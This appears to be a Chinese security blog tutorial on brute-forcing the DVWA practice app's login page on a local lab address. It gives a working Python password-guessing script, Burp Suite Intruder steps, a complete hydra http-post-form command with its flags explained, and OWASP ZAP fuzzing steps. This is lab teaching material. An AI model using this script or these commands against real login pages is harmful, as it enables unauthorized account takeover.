前言现在那个DVWA里的Brute Force都已经烂大街了,那么今天我们就来演示一下如何从登录页面暴力破解进去
0x01.python代码:
1.在浏览器找到dvwa登录页面
2.我们尝试提交数据:
发现点击登录之后url上依然是login.php,并且出现login failed 提示
由此我们确定此页面的http请求方式为post
3.打开Burpsuite并挂上代理,重新输入参数并提交请求
发现确实是POST方法并且还发现了参数传输格式是明文传输,由此我们直接构造简单代码 实现暴力破解。
import requests
def brute_force(username, password):
url = "http://192.168.255.128/dvwa/login.php"
parm = {"username": username,
"password": password,
"Login": "Login"
}
r = requests.post(url, data=parm)
if r.url == "http://192.168.255.128/dvwa/login.php":
print("破解失败username is %s , password is %s" % (username, password))
else:
print('破解成功 username is %s , password is %s' % (username, password))
exit()
def open_dic():
with open("username.txt") as Duser:
for Users in Duser.readlines():
with open("password.txt") as Dpass:
for Passes in Dpass.readlines():
brute_force(Users.strip(), Passes.strip())
open_dic()
0x02.burpsuite暴力破解:
1.还是burpsuite抓包
2. CTRL+i发送到Intruder
3.设置参数变量 先clear清空 然后选中字段add 其中Attack type选为Cluster bomb 混合破解
4.点击payload 设置payload set 选择1即选择参数1,然后点击load加载参数1的字典,再在payload set中选择2即选择参数2,然后也点击load加载参数2的字典。
5.点击option可以设置线程、过滤等参数。
6.点击intruder 并选择start attack
7.成功找到正确账号密码。
0x03.hydra 暴力破解DVWA登录页面
1.使用hydra直接输入以下命令进行暴力破解:
hydra -L username.txt -P password.txt 192.168.255.128 -t 3 -o ok.txt http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -vV -f
2.解释命令:
-L 加载用户名字典
-P 加载密码字典
-t 设置线程为3
-o 结果输出到文件ok.txt
http-post-form是指的post请求方法
" "里其中/dvwa/login.php是暴力破解的页面,username是用户名的input标签里的name属性的名字,password是密码的input标签里的name属性的名字,^USER^ ^PASS^ 是变量,Login failed是失败了页面显示的内容
-vV 显示具体过程
-f 破解出来停止
0x04.Owaspzap暴力破解Dvwa登录页面
1.Owaspzap自动扫描 会自己测试一下 方便做fuzzing
2.输入域名,点击攻击
3.点开站点,找到右上角请求,点击请求
4.选中要fuzzing的参数,右键fuzzing
5. 话不都说,看图
6.其他参数同理
7.添加配置参数完毕之后点击start fuzzing
8.在响应里找到和Location:login.php 跳转的不同页面,一般是最后一行
9.自己可以设置代理进行捕捉参数
10. 设置代理,最好和burpsuite的127.0.0.1:8080区分开来,我设置的是8081 浏览器一样 不用
11.在浏览器中输入响应参数
12.查看,然后接下来步骤和上面一样
0x05.结语
这些工具 都是我认为很好用的,有时间会对每个工具专门出一篇博客。谢谢大家!